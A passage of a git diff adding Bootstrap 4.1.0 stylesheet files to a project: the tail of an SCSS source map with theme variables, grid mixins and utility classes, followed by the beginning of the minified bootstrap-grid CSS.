!default;\n$custom-checkbox-indicator-icon-indeterminate:        str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 4'%3E%3Cpath stroke='#{$custom-checkbox-indicator-indeterminate-color}' d='M0 2h4'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n$custom-checkbox-indicator-indeterminate-box-shadow:  none !default;\n\n$custom-radio-indicator-border-radius:          50% !default;\n$custom-radio-indicator-icon-checked:           str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3E%3Ccircle r='3' fill='#{$custom-control-indicator-checked-color}'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n\n$custom-select-padding-y:           .375rem !default;\n$custom-select-padding-x:           .75rem !default;\n$custom-select-height:              $input-height !default;\n$custom-select-indicator-padding:   1rem !default; // Extra padding to account for the presence of the background-image based indicator\n$custom-select-line-height:         $input-btn-line-height !default;\n$custom-select-color:               $input-color !default;\n$custom-select-disabled-color:      $gray-600 !default;\n$custom-select-bg:                  $input-bg !default;\n$custom-select-disabled-bg:         $gray-200 !default;\n$custom-select-bg-size:             8px 10px !default; // In pixels because image dimensions\n$custom-select-indicator-color:     $gray-800 !default;\n$custom-select-indicator:           str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='#{$custom-select-indicator-color}' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n$custom-select-border-width:        $input-btn-border-width !default;\n$custom-select-border-color:        $input-border-color !default;\n$custom-select-border-radius:       $border-radius !default;\n\n$custom-select-focus-border-color:  $input-focus-border-color !default;\n$custom-select-focus-box-shadow:    inset 0 1px 2px rgba($black, .075), 0 0 5px rgba($custom-select-focus-border-color, .5) !default;\n\n$custom-select-font-size-sm:        75% !default;\n$custom-select-height-sm:           $input-height-sm !default;\n\n$custom-select-font-size-lg:        125% !default;\n$custom-select-height-lg:           $input-height-lg !default;\n\n$custom-range-track-width:          100% !default;\n$custom-range-track-height:         .5rem !default;\n$custom-range-track-cursor:         pointer !default;\n$custom-range-track-bg:             $gray-300 !default;\n$custom-range-track-border-radius:  1rem !default;\n$custom-range-track-box-shadow:     inset 0 .25rem .25rem rgba($black, .1) !default;\n\n$custom-range-thumb-width:            1rem !default;\n$custom-range-thumb-height:           $custom-range-thumb-width !default;\n$custom-range-thumb-bg:               $component-active-bg !default;\n$custom-range-thumb-border:           0 !default;\n$custom-range-thumb-border-radius:    1rem !default;\n$custom-range-thumb-box-shadow:       0 .1rem .25rem rgba($black, .1) !default;\n$custom-range-thumb-focus-box-shadow: 0 0 0 1px $body-bg, $input-btn-focus-box-shadow !default;\n$custom-range-thumb-active-bg:        lighten($component-active-bg, 35%) !default;\n\n$custom-file-height:                $input-height !default;\n$custom-file-focus-border-color:    $input-focus-border-color !default;\n$custom-file-focus-box-shadow:      $input-btn-focus-box-shadow !default;\n\n$custom-file-padding-y:             $input-btn-padding-y !default;\n$custom-file-padding-x:             $input-btn-padding-x !default;\n$custom-file-line-height:           $input-btn-line-height !default;\n$custom-file-color:                 $input-color !default;\n$custom-file-bg:                    $input-bg !default;\n$custom-file-border-width:          $input-btn-border-width !default;\n$custom-file-border-color:          $input-border-color !default;\n$custom-file-border-radius:         $input-border-radius !default;\n$custom-file-box-shadow:            $input-box-shadow !default;\n$custom-file-button-color:          $custom-file-color !default;\n$custom-file-button-bg:             $input-group-addon-bg !default;\n$custom-file-text: (\n  en: \"Browse\"\n) !default;\n\n\n// Form validation\n$form-feedback-margin-top:          $form-text-margin-top !default;\n$form-feedback-font-size:           $small-font-size !default;\n$form-feedback-valid-color:         theme-color(\"success\") !default;\n$form-feedback-invalid-color:       theme-color(\"danger\") !default;\n\n\n// Dropdowns\n//\n// Dropdown menu container and contents.\n\n$dropdown-min-width:                10rem !default;\n$dropdown-padding-y:                .5rem !default;\n$dropdown-spacer:                   .125rem !default;\n$dropdown-bg:                       $white !default;\n$dropdown-border-color:             rgba($black, .15) !default;\n$dropdown-border-radius:            $border-radius !default;\n$dropdown-border-width:             $border-width !default;\n$dropdown-divider-bg:               $gray-200 !default;\n$dropdown-box-shadow:               0 .5rem 1rem rgba($black, .175) !default;\n\n$dropdown-link-color:               $gray-900 !default;\n$dropdown-link-hover-color:         darken($gray-900, 5%) !default;\n$dropdown-link-hover-bg:            $gray-100 !default;\n\n$dropdown-link-active-color:        $component-active-color !default;\n$dropdown-link-active-bg:           $component-active-bg !default;\n\n$dropdown-link-disabled-color:      $gray-600 !default;\n\n$dropdown-item-padding-y:           .25rem !default;\n$dropdown-item-padding-x:           1.5rem !default;\n\n$dropdown-header-color:             $gray-600 !default;\n\n\n// Z-index master list\n//\n// Warning: Avoid customizing these values. They're used for a bird's eye view\n// of components dependent on the z-axis and are designed to all work together.\n\n$zindex-dropdown:                   1000 !default;\n$zindex-sticky:                     1020 !default;\n$zindex-fixed:                      1030 !default;\n$zindex-modal-backdrop:             1040 !default;\n$zindex-modal:                      1050 !default;\n$zindex-popover:                    1060 !default;\n$zindex-tooltip:                    1070 !default;\n\n// Navs\n\n$nav-link-padding-y:                .5rem !default;\n$nav-link-padding-x:                1rem !default;\n$nav-link-disabled-color:           $gray-600 !default;\n\n$nav-tabs-border-color:             $gray-300 !default;\n$nav-tabs-border-width:             $border-width !default;\n$nav-tabs-border-radius:            $border-radius !default;\n$nav-tabs-link-hover-border-color:  $gray-200 $gray-200 $nav-tabs-border-color !default;\n$nav-tabs-link-active-color:        $gray-700 !default;\n$nav-tabs-link-active-bg:           $body-bg !default;\n$nav-tabs-link-active-border-color: $gray-300 $gray-300 $nav-tabs-link-active-bg !default;\n\n$nav-pills-border-radius:           $border-radius !default;\n$nav-pills-link-active-color:       $component-active-color !default;\n$nav-pills-link-active-bg:          $component-active-bg !default;\n\n$nav-divider-color:                 $gray-200 !default;\n$nav-divider-margin-y:              ($spacer / 2) !default;\n\n// Navbar\n\n$navbar-padding-y:                  ($spacer / 2) !default;\n$navbar-padding-x:                  $spacer !default;\n\n$navbar-nav-link-padding-x:         .5rem !default;\n\n$navbar-brand-font-size:            $font-size-lg !default;\n// Compute the navbar-brand padding-y so the navbar-brand will have the same height as navbar-text and nav-link\n$nav-link-height:                   ($font-size-base * $line-height-base + $nav-link-padding-y * 2) !default;\n$navbar-brand-height:               $navbar-brand-font-size * $line-height-base !default;\n$navbar-brand-padding-y:            ($nav-link-height - $navbar-brand-height) / 2 !default;\n\n$navbar-toggler-padding-y:          .25rem !default;\n$navbar-toggler-padding-x:          .75rem !default;\n$navbar-toggler-font-size:          $font-size-lg !default;\n$navbar-toggler-border-radius:      $btn-border-radius !default;\n\n$navbar-dark-color:                 rgba($white, .5) !default;\n$navbar-dark-hover-color:           rgba($white, .75) !default;\n$navbar-dark-active-color:          $white !default;\n$navbar-dark-disabled-color:        rgba($white, .25) !default;\n$navbar-dark-toggler-icon-bg:       str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='#{$navbar-dark-color}' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n$navbar-dark-toggler-border-color:  rgba($white, .1) !default;\n\n$navbar-light-color:                rgba($black, .5) !default;\n$navbar-light-hover-color:          rgba($black, .7) !default;\n$navbar-light-active-color:         rgba($black, .9) !default;\n$navbar-light-disabled-color:       rgba($black, .3) !default;\n$navbar-light-toggler-icon-bg:      str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='#{$navbar-light-color}' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n$navbar-light-toggler-border-color: rgba($black, .1) !default;\n\n// Pagination\n\n$pagination-padding-y:              .5rem !default;\n$pagination-padding-x:              .75rem !default;\n$pagination-padding-y-sm:           .25rem !default;\n$pagination-padding-x-sm:           .5rem !default;\n$pagination-padding-y-lg:           .75rem !default;\n$pagination-padding-x-lg:           1.5rem !default;\n$pagination-line-height:            1.25 !default;\n\n$pagination-color:                  $link-color !default;\n$pagination-bg:                     $white !default;\n$pagination-border-width:           $border-width !default;\n$pagination-border-color:           $gray-300 !default;\n\n$pagination-focus-box-shadow:       $input-btn-focus-box-shadow !default;\n$pagination-focus-outline:          0 !default;\n\n$pagination-hover-color:            $link-hover-color !default;\n$pagination-hover-bg:               $gray-200 !default;\n$pagination-hover-border-color:     $gray-300 !default;\n\n$pagination-active-color:           $component-active-color !default;\n$pagination-active-bg:              $component-active-bg !default;\n$pagination-active-border-color:    $pagination-active-bg !default;\n\n$pagination-disabled-color:         $gray-600 !default;\n$pagination-disabled-bg:            $white !default;\n$pagination-disabled-border-color:  $gray-300 !default;\n\n\n// Jumbotron\n\n$jumbotron-padding:                 2rem !default;\n$jumbotron-bg:                      $gray-200 !default;\n\n\n// Cards\n\n$card-spacer-y:                     .75rem !default;\n$card-spacer-x:                     1.25rem !default;\n$card-border-width:                 $border-width !default;\n$card-border-radius:                $border-radius !default;\n$card-border-color:                 rgba($black, .125) !default;\n$card-inner-border-radius:          calc(#{$card-border-radius} - #{$card-border-width}) !default;\n$card-cap-bg:                       rgba($black, .03) !default;\n$card-bg:                           $white !default;\n\n$card-img-overlay-padding:          1.25rem !default;\n\n$card-group-margin:                 ($grid-gutter-width / 2) !default;\n$card-deck-margin:                  $card-group-margin !default;\n\n$card-columns-count:                3 !default;\n$card-columns-gap:                  1.25rem !default;\n$card-columns-margin:               $card-spacer-y !default;\n\n\n// Tooltips\n\n$tooltip-font-size:                 $font-size-sm !default;\n$tooltip-max-width:                 200px !default;\n$tooltip-color:                     $white !default;\n$tooltip-bg:                        $black !default;\n$tooltip-border-radius:             $border-radius !default;\n$tooltip-opacity:                   .9 !default;\n$tooltip-padding-y:                 .25rem !default;\n$tooltip-padding-x:                 .5rem !default;\n$tooltip-margin:                    0 !default;\n\n$tooltip-arrow-width:               .8rem !default;\n$tooltip-arrow-height:              .4rem !default;\n$tooltip-arrow-color:               $tooltip-bg !default;\n\n\n// Popovers\n\n$popover-font-size:                 $font-size-sm !default;\n$popover-bg:                        $white !default;\n$popover-max-width:                 276px !default;\n$popover-border-width:              $border-width !default;\n$popover-border-color:              rgba($black, .2) !default;\n$popover-border-radius:             $border-radius-lg !default;\n$popover-box-shadow:                0 .25rem .5rem rgba($black, .2) !default;\n\n$popover-header-bg:                 darken($popover-bg, 3%) !default;\n$popover-header-color:              $headings-color !default;\n$popover-header-padding-y:          .5rem !default;\n$popover-header-padding-x:          .75rem !default;\n\n$popover-body-color:                $body-color !default;\n$popover-body-padding-y:            $popover-header-padding-y !default;\n$popover-body-padding-x:            $popover-header-padding-x !default;\n\n$popover-arrow-width:               1rem !default;\n$popover-arrow-height:              .5rem !default;\n$popover-arrow-color:               $popover-bg !default;\n\n$popover-arrow-outer-color:         fade-in($popover-border-color, .05) !default;\n\n\n// Badges\n\n$badge-font-size:                   75% !default;\n$badge-font-weight:                 $font-weight-bold !default;\n$badge-padding-y:                   .25em !default;\n$badge-padding-x:                   .4em !default;\n$badge-border-radius:               $border-radius !default;\n\n$badge-pill-padding-x:              .6em !default;\n// Use a higher than normal value to ensure completely rounded edges when\n// customizing padding or font-size on labels.\n$badge-pill-border-radius:          10rem !default;\n\n\n// Modals\n\n// Padding applied to the modal body\n$modal-inner-padding:               1rem !default;\n\n$modal-dialog-margin:               .5rem !default;\n$modal-dialog-margin-y-sm-up:       1.75rem !default;\n\n$modal-title-line-height:           $line-height-base !default;\n\n$modal-content-bg:                  $white !default;\n$modal-content-border-color:        rgba($black, .2) !default;\n$modal-content-border-width:        $border-width !default;\n$modal-content-border-radius:       $border-radius-lg !default;\n$modal-content-box-shadow-xs:       0 .25rem .5rem rgba($black, .5) !default;\n$modal-content-box-shadow-sm-up:    0 .5rem 1rem rgba($black, .5) !default;\n\n$modal-backdrop-bg:                 $black !default;\n$modal-backdrop-opacity:            .5 !default;\n$modal-header-border-color:         $gray-200 !default;\n$modal-footer-border-color:         $modal-header-border-color !default;\n$modal-header-border-width:         $modal-content-border-width !default;\n$modal-footer-border-width:         $modal-header-border-width !default;\n$modal-header-padding:              1rem !default;\n\n$modal-lg:                          800px !default;\n$modal-md:                          500px !default;\n$modal-sm:                          300px !default;\n\n$modal-transition:                  transform .3s ease-out !default;\n\n\n// Alerts\n//\n// Define alert colors, border radius, and padding.\n\n$alert-padding-y:                   .75rem !default;\n$alert-padding-x:                   1.25rem !default;\n$alert-margin-bottom:               1rem !default;\n$alert-border-radius:               $border-radius !default;\n$alert-link-font-weight:            $font-weight-bold !default;\n$alert-border-width:                $border-width !default;\n\n$alert-bg-level:                    -10 !default;\n$alert-border-level:                -9 !default;\n$alert-color-level:                 6 !default;\n\n\n// Progress bars\n\n$progress-height:                   1rem !default;\n$progress-font-size:                ($font-size-base * .75) !default;\n$progress-bg:                       $gray-200 !default;\n$progress-border-radius:            $border-radius !default;\n$progress-box-shadow:               inset 0 .1rem .1rem rgba($black, .1) !default;\n$progress-bar-color:                $white !default;\n$progress-bar-bg:                   theme-color(\"primary\") !default;\n$progress-bar-animation-timing:     1s linear infinite !default;\n$progress-bar-transition:           width .6s ease !default;\n\n// List group\n\n$list-group-bg:                     $white !default;\n$list-group-border-color:           rgba($black, .125) !default;\n$list-group-border-width:           $border-width !default;\n$list-group-border-radius:          $border-radius !default;\n\n$list-group-item-padding-y:         .75rem !default;\n$list-group-item-padding-x:         1.25rem !default;\n\n$list-group-hover-bg:               $gray-100 !default;\n$list-group-active-color:           $component-active-color !default;\n$list-group-active-bg:              $component-active-bg !default;\n$list-group-active-border-color:    $list-group-active-bg !default;\n\n$list-group-disabled-color:         $gray-600 !default;\n$list-group-disabled-bg:            $list-group-bg !default;\n\n$list-group-action-color:           $gray-700 !default;\n$list-group-action-hover-color:     $list-group-action-color !default;\n\n$list-group-action-active-color:    $body-color !default;\n$list-group-action-active-bg:       $gray-200 !default;\n\n\n// Image thumbnails\n\n$thumbnail-padding:                 .25rem !default;\n$thumbnail-bg:                      $body-bg !default;\n$thumbnail-border-width:            $border-width !default;\n$thumbnail-border-color:            $gray-300 !default;\n$thumbnail-border-radius:           $border-radius !default;\n$thumbnail-box-shadow:              0 1px 2px rgba($black, .075) !default;\n\n\n// Figures\n\n$figure-caption-font-size:          90% !default;\n$figure-caption-color:              $gray-600 !default;\n\n\n// Breadcrumbs\n\n$breadcrumb-padding-y:              .75rem !default;\n$breadcrumb-padding-x:              1rem !default;\n$breadcrumb-item-padding:           .5rem !default;\n\n$breadcrumb-margin-bottom:          1rem !default;\n\n$breadcrumb-bg:                     $gray-200 !default;\n$breadcrumb-divider-color:          $gray-600 !default;\n$breadcrumb-active-color:           $gray-600 !default;\n$breadcrumb-divider:                quote(\"/\") !default;\n\n$breadcrumb-border-radius:          $border-radius !default;\n\n\n// Carousel\n\n$carousel-control-color:            $white !default;\n$carousel-control-width:            15% !default;\n$carousel-control-opacity:          .5 !default;\n\n$carousel-indicator-width:          30px !default;\n$carousel-indicator-height:         3px !default;\n$carousel-indicator-spacer:         3px !default;\n$carousel-indicator-active-bg:      $white !default;\n\n$carousel-caption-width:            70% !default;\n$carousel-caption-color:            $white !default;\n\n$carousel-control-icon-width:       20px !default;\n\n$carousel-control-prev-icon-bg:     str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='#{$carousel-control-color}' viewBox='0 0 8 8'%3E%3Cpath d='M5.25 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n$carousel-control-next-icon-bg:     str-replace(url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='#{$carousel-control-color}' viewBox='0 0 8 8'%3E%3Cpath d='M2.75 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z'/%3E%3C/svg%3E\"), \"#\", \"%23\") !default;\n\n$carousel-transition:               transform .6s ease !default; // Define transform transition first if using multiple transitons (e.g., `transform 2s ease, opacity .5s ease-out`)\n\n\n// Close\n\n$close-font-size:                   $font-size-base * 1.5 !default;\n$close-font-weight:                 $font-weight-bold !default;\n$close-color:                       $black !default;\n$close-text-shadow:                 0 1px 0 $white !default;\n\n// Code\n\n$code-font-size:                    87.5% !default;\n$code-color:                        $pink !default;\n\n$kbd-padding-y:                     .2rem !default;\n$kbd-padding-x:                     .4rem !default;\n$kbd-font-size:                     $code-font-size !default;\n$kbd-color:                         $white !default;\n$kbd-bg:                            $gray-900 !default;\n\n$pre-color:                         $gray-900 !default;\n$pre-scrollable-max-height:         340px !default;\n\n\n// Printing\n$print-page-size:                   a3 !default;\n$print-body-min-width:              map-get($grid-breakpoints, \"lg\") !default;\n","// Framework grid generation\n//\n// Used only by Bootstrap to generate the correct number of grid classes given\n// any value of `$grid-columns`.\n\n@mixin make-grid-columns($columns: $grid-columns, $gutter: $grid-gutter-width, $breakpoints: $grid-breakpoints) {\n  // Common properties for all breakpoints\n  %grid-column {\n    position: relative;\n    width: 100%;\n    min-height: 1px; // Prevent columns from collapsing when empty\n    padding-right: ($gutter / 2);\n    padding-left: ($gutter / 2);\n  }\n\n  @each $breakpoint in map-keys($breakpoints) {\n    $infix: breakpoint-infix($breakpoint, $breakpoints);\n\n    // Allow columns to stretch full width below their breakpoints\n    @for $i from 1 through $columns {\n      .col#{$infix}-#{$i} {\n        @extend %grid-column;\n      }\n    }\n    .col#{$infix},\n    .col#{$infix}-auto {\n      @extend %grid-column;\n    }\n\n    @include media-breakpoint-up($breakpoint, $breakpoints) {\n      // Provide basic `.col-{bp}` classes for equal-width flexbox columns\n      .col#{$infix} {\n        flex-basis: 0;\n        flex-grow: 1;\n        max-width: 100%;\n      }\n      .col#{$infix}-auto {\n        flex: 0 0 auto;\n        width: auto;\n        max-width: none; // Reset earlier grid tiers\n      }\n\n      @for $i from 1 through $columns {\n        .col#{$infix}-#{$i} {\n          @include make-col($i, $columns);\n        }\n      }\n\n      .order#{$infix}-first { order: -1; }\n\n      .order#{$infix}-last { order: $columns + 1; }\n\n      @for $i from 0 through $columns {\n        .order#{$infix}-#{$i} { order: $i; }\n      }\n\n      // `$columns - 1` because offsetting by the width of an entire row isn't possible\n      @for $i from 0 through ($columns - 1) {\n        @if not ($infix == \"\" and $i == 0) { // Avoid emitting useless .offset-0\n          .offset#{$infix}-#{$i} {\n            @include make-col-offset($i, $columns);\n          }\n        }\n      }\n    }\n  }\n}\n","// stylelint-disable declaration-no-important\n\n//\n// Utilities for common `display` values\n//\n\n@each $breakpoint in map-keys($grid-breakpoints) {\n  @include media-breakpoint-up($breakpoint) {\n    $infix: breakpoint-infix($breakpoint, $grid-breakpoints);\n\n    .d#{$infix}-none         { display: none !important; }\n    .d#{$infix}-inline       { display: inline !important; }\n    .d#{$infix}-inline-block { display: inline-block !important; }\n    .d#{$infix}-block        { display: block !important; }\n    .d#{$infix}-table        { display: table !important; }\n    .d#{$infix}-table-row    { display: table-row !important; }\n    .d#{$infix}-table-cell   { display: table-cell !important; }\n    .d#{$infix}-flex         { display: flex !important; }\n    .d#{$infix}-inline-flex  { display: inline-flex !important; }\n  }\n}\n\n\n//\n// Utilities for toggling `display` in print\n//\n\n@media print {\n  .d-print-none         { display: none !important; }\n  .d-print-inline       { display: inline !important; }\n  .d-print-inline-block { display: inline-block !important; }\n  .d-print-block        { display: block !important; }\n  .d-print-table        { display: table !important; }\n  .d-print-table-row    { display: table-row !important; }\n  .d-print-table-cell   { display: table-cell !important; }\n  .d-print-flex         { display: flex !important; }\n  .d-print-inline-flex  { display: inline-flex !important; }\n}\n","// stylelint-disable declaration-no-important\n\n// Flex variation\n//\n// Custom styles for additional flex alignment options.\n\n@each $breakpoint in map-keys($grid-breakpoints) {\n  @include media-breakpoint-up($breakpoint) {\n    $infix: breakpoint-infix($breakpoint, $grid-breakpoints);\n\n    .flex#{$infix}-row            { flex-direction: row !important; }\n    .flex#{$infix}-column         { flex-direction: column !important; }\n    .flex#{$infix}-row-reverse    { flex-direction: row-reverse !important; }\n    .flex#{$infix}-column-reverse { flex-direction: column-reverse !important; }\n\n    .flex#{$infix}-wrap         { flex-wrap: wrap !important; }\n    .flex#{$infix}-nowrap       { flex-wrap: nowrap !important; }\n    .flex#{$infix}-wrap-reverse { flex-wrap: wrap-reverse !important; }\n    .flex#{$infix}-fill         { flex: 1 1 auto !important; }\n    .flex#{$infix}-grow-0       { flex-grow: 0 !important; }\n    .flex#{$infix}-grow-1       { flex-grow: 1 !important; }\n    .flex#{$infix}-shrink-0     { flex-shrink: 0 !important; }\n    .flex#{$infix}-shrink-1     { flex-shrink: 1 !important; }\n\n    .justify-content#{$infix}-start   { justify-content: flex-start !important; }\n    .justify-content#{$infix}-end     { justify-content: flex-end !important; }\n    .justify-content#{$infix}-center  { justify-content: center !important; }\n    .justify-content#{$infix}-between { justify-content: space-between !important; }\n    .justify-content#{$infix}-around  { justify-content: space-around !important; }\n\n    .align-items#{$infix}-start    { align-items: flex-start !important; }\n    .align-items#{$infix}-end      { align-items: flex-end !important; }\n    .align-items#{$infix}-center   { align-items: center !important; }\n    .align-items#{$infix}-baseline { align-items: baseline !important; }\n    .align-items#{$infix}-stretch  { align-items: stretch !important; }\n\n    .align-content#{$infix}-start   { align-content: flex-start !important; }\n    .align-content#{$infix}-end     { align-content: flex-end !important; }\n    .align-content#{$infix}-center  { align-content: center !important; }\n    .align-content#{$infix}-between { align-content: space-between !important; }\n    .align-content#{$infix}-around  { align-content: space-around !important; }\n    .align-content#{$infix}-stretch { align-content: stretch !important; }\n\n    .align-self#{$infix}-auto     { align-self: auto !important; }\n    .align-self#{$infix}-start    { align-self: flex-start !important; }\n    .align-self#{$infix}-end      { align-self: flex-end !important; }\n    .align-self#{$infix}-center   { align-self: center !important; }\n    .align-self#{$infix}-baseline { align-self: baseline !important; }\n    .align-self#{$infix}-stretch  { align-self: stretch !important; }\n  }\n}\n"]}
\ No newline at end of file
diff --git a/public/css/bootstrap-grid.min.css b/public/css/bootstrap-grid.min.css
new file mode 100644
index 0000000..79c746d
--- /dev/null
+++ b/public/css/bootstrap-grid.min.css
@@ -0,0 +1,7 @@
+/*!
+ * Bootstrap Grid v4.1.0 (https://getbootstrap.com/)
+ * Copyright 2011-2018 The Bootstrap Authors
+ * Copyright 2011-2018 Twitter, Inc.
+ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+ */@-ms-viewport{width:device-width}html{box-sizing:border-box;-ms-overflow-style:scrollbar}*,::after,::before{box-sizing:inherit}.container{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media (min-width:576px){.container{max-width:540px}}@media (min-width:768px){.container{max-width:720px}}@media (min-width:992px){.container{max-width:960px}}@media (min-width:1200px){.container{max-width:1140px}}.container-fluid{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}.row{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-15px;margin-left:-15px}.no-gutters{margin-right:0;margin-left:0}.no-gutters>.col,.no-gutters>[class*=col-]{padding-right:0;padding-left:0}.col,.col-1,.col-10,.col-11,.col-12,.col-2,.col-3,.col-4,.col-5,.col-6,.col-7,.col-8,.col-9,.col-auto,.col-lg,.col-lg-1,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-auto,.col-md,.col-md-1,.col-md-10,.col-md-11,.col-md-12,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-auto,.col-sm,.col-sm-1,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-auto,.col-xl,.col-xl-1,.col-xl-10,.col-xl-11,.col-xl-12,.col-xl-2,.col-xl-3,.col-xl-4,.col-xl-5,.col-xl-6,.col-xl-7,.col-xl-8,.col-xl-9,.col-xl-auto{position:relative;width:100%;min-height:1px;padding-right:15px;padding-left:15px}.col{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-first{-ms-flex-order:-1;order:-1}.order-last{-ms-flex-order:13;order:13}.order-0{-ms-flex-order:0;order:0}.order-1{-ms-flex-order:1;order:1}.order-2{-ms-flex-order:2;order:2}.order-3{-ms-flex-order:3;order:3}.order-4{-ms-flex-order:4;order:4}.order-5{-ms-flex-order:5;order:5}.order-6{-ms-flex-order:6;order:6}.order-7{-ms-flex-order:7;order:7}.order-8{-ms-flex-order:8;order:8}.order-9{-ms-flex-order:9;order:9}.order-10{-ms-flex-order:10;order:10}.order-11{-ms-flex-order:11;order:11}.order-12{-ms-flex-order:12;order:12}.offset-1{margin-left:8.333333%}.offset-2{margin-left:16.666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.333333%}.offset-5{margin-left:41.666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.333333%}.offset-8{margin-left:66.666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.333333%}.offset-11{margin-left:91.666667%}@media (min-width:576px){.col-sm{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-sm-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-sm-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-sm-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-sm-3{-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-sm-4{-ms-flex:0 0 33.333333%;flex:0 0 33.333333%;max-width:33.333333%}.col-sm-5{-ms-flex:0 0 41.666667%;flex:0 0 41.666667%;max-width:41.666667%}.col-sm-6{-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-sm-7{-ms-flex:0 0 58.333333%;flex:0 0 58.333333%;max-width:58.333333%}.col-sm-8{-ms-flex:0 0 66.666667%;flex:0 0 66.666667%;max-width:66.666667%}.col-sm-9{-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-sm-10{-ms-flex:0 0 83.333333%;flex:0 0 83.333333%;max-width:83.333333%}.col-sm-11{-ms-flex:0 0 91.666667%;flex:0 0 91.666667%;max-width:91.666667%}.col-sm-12{-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-sm-first{-ms-flex-order:-1;order:-1}.order-sm-last{-ms-flex-order:13;order:13}.order-sm-0{-ms-flex-order:0;order:0}.order-sm-1{-ms-flex-order:1;order:1}.order-sm-2{-ms-flex-order:2;order:2}.order-sm-3{-ms-flex-order:3;order:3}.order-sm-4{-ms-flex-order:4;order:4}.order-sm-5{-ms-flex-order:5;order:5}.order-sm-6{-ms-flex-order:6;order:6}.order-sm-7{-ms-flex-order:7;order:7}.order-sm-8{-ms-flex-order:8;order:8}.order-sm-9{-ms-flex-order:9;order:9}.order-sm-10{-ms-flex-order:10;order:10}.order-sm-11{-ms-flex-order:11;order:11}.order-sm-12{-ms-flex-order:12;order:12}.offset-sm-0{margin-left:0}.offset-sm-1{margin-left:8.333333%}.offset-sm-2{margin-left:16.666667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:33.333333%}.offset-sm-5{margin-left:41.666667%}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.333333%}.offset-sm-8{margin-left:66.666667%}.offset-sm-9{margin-left:75%}.offset-sm-10{margin-left:83.333333%}.offset-sm-11{margin-left:91.666667%}}@media (min-width:768px){.col-md{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-md-auto{-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-md-1{-ms-flex:0 0 8.333333%;flex:0 0 8.333333%;max-width:8.333333%}.col-md-2{-ms-flex:0 0 16.666667%;flex:0 0 16.666667%;max-width:16.666667%}.col-md-3{-ms-flex:0 0 25%;flex:0 0 